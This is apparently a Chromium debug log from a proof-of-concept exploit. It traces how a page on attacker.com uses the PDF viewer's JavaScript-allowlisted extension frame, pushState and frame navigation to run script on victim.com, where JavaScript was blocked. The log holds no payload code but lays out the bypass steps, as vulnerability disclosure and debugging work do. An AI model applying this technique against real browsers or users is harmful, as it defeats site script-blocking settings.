[9078:9078:0516/161745.518406:ERROR:components/content_settings/browser/page_specific_content_settings.cc:485] [POC-BROWSER] ReadyToCommit url=http://victim.com:8080/victim.html?control-top-level primary=http://victim.com:8080/victim.html?control-top-level IsFrameAllowlistedForJavaScript=0 content_setting_allow=0 => allow_script=0 [9078:9078:0516/161745.534719:ERROR:components/content_settings/browser/page_specific_content_settings.cc:485] [POC-BROWSER] ReadyToCommit url=http://attacker.com:8080/x.pdf primary=http://attacker.com:8080/x.pdf IsFrameAllowlistedForJavaScript=0 content_setting_allow=0 => allow_script=0 [9157:9157:0516/161745.675930:ERROR:third_party/blink/renderer/core/frame/local_frame.cc:3430] [POC-RENDERER] wrapper finished loading; arming payload [9078:9078:0516/161745.691097:ERROR:chrome/browser/pdf/chrome_pdf_stream_delegate.cc:280] [POC-BROWSER] ShouldAllowPdfFrameNavigation url=chrome-extension://mhjfbmdgcfjbbpaeojofohoefgiehjai/index.html ftn=3 [9078:9078:0516/161745.691143:ERROR:chrome/browser/pdf/chrome_pdf_stream_delegate.cc:314] [POC-BROWSER] parent=http://attacker.com:8080/x.pdf GetStreamContainer(parent)=1 [9078:9078:0516/161745.716908:ERROR:chrome/browser/content_settings/page_specific_content_settings_delegate.cc:321] [POC-BROWSER] IsFrameAllowlistedForJavaScript=true ftn=3 [9078:9078:0516/161745.716944:ERROR:components/content_settings/browser/page_specific_content_settings.cc:485] [POC-BROWSER] ReadyToCommit url=chrome-extension://mhjfbmdgcfjbbpaeojofohoefgiehjai/index.html primary=http://attacker.com:8080/x.pdf IsFrameAllowlistedForJavaScript=1 content_setting_allow=0 => allow_script=1 [9078:9078:0516/161746.000602:ERROR:chrome/browser/pdf/chrome_pdf_stream_delegate.cc:280] [POC-BROWSER] ShouldAllowPdfFrameNavigation url=http://attacker.com:8080/x.pdf ftn=4 [9078:9078:0516/161746.000640:ERROR:chrome/browser/pdf/chrome_pdf_stream_delegate.cc:314] [POC-BROWSER] parent=chrome-extension://mhjfbmdgcfjbbpaeojofohoefgiehjai/index.html GetStreamContainer(parent)=0 [9078:9078:0516/161746.014496:ERROR:chrome/browser/content_settings/page_specific_content_settings_delegate.cc:321] [POC-BROWSER] IsFrameAllowlistedForJavaScript=true ftn=4 [9078:9078:0516/161746.014543:ERROR:components/content_settings/browser/page_specific_content_settings.cc:485] [POC-BROWSER] ReadyToCommit url=http://attacker.com:8080/x.pdf primary=http://attacker.com:8080/x.pdf IsFrameAllowlistedForJavaScript=1 content_setting_allow=0 => allow_script=1 [9157:9157:0516/161750.676187:ERROR:third_party/blink/renderer/core/frame/local_frame.cc:3388] [POC-RENDERER] payload firing in http://attacker.com:8080/x.pdf [9157:9157:0516/161750.676918:ERROR:third_party/blink/renderer/core/frame/local_frame.cc:3403] [POC-RENDERER] after pushState, wrapper URL = http://attacker.com:8080/other [9157:9157:0516/161751.677103:ERROR:third_party/blink/renderer/core/frame/local_frame.cc:3374] [POC-RENDERER] child IsRemoteFrame=1 [9157:9157:0516/161751.677488:ERROR:third_party/blink/renderer/core/frame/local_frame.cc:3380] [POC-RENDERER] navigated extension FTN to victim.com [9078:9078:0516/161751.680932:ERROR:chrome/browser/pdf/chrome_pdf_stream_delegate.cc:280] [POC-BROWSER] ShouldAllowPdfFrameNavigation url=http://victim.com:8080/victim.html?via-pdf-ext-ftn ftn=3 [9078:9078:0516/161751.680964:ERROR:chrome/browser/pdf/chrome_pdf_stream_delegate.cc:314] [POC-BROWSER] parent=http://attacker.com:8080/other GetStreamContainer(parent)=0 [9078:9078:0516/161751.752154:ERROR:chrome/browser/content_settings/page_specific_content_settings_delegate.cc:321] [POC-BROWSER] IsFrameAllowlistedForJavaScript=true ftn=3 [9078:9078:0516/161751.832050:ERROR:components/content_settings/browser/page_specific_content_settings.cc:485] [POC-BROWSER] ReadyToCommit url=http://victim.com:8080/victim.html?via-pdf-ext-ftn primary=http://attacker.com:8080/other IsFrameAllowlistedForJavaScript=1 content_setting_allow=0 => allow_script=1 [9078:9078:0516/161751.862784:INFO:CONSOLE:8] "[POC-VICTIM-JS] script ran on victim.com http://victim.com:8080/victim.html?via-pdf-ext-ftn", source: http://victim.com:8080/victim.html?via-pdf-ext-ftn (8)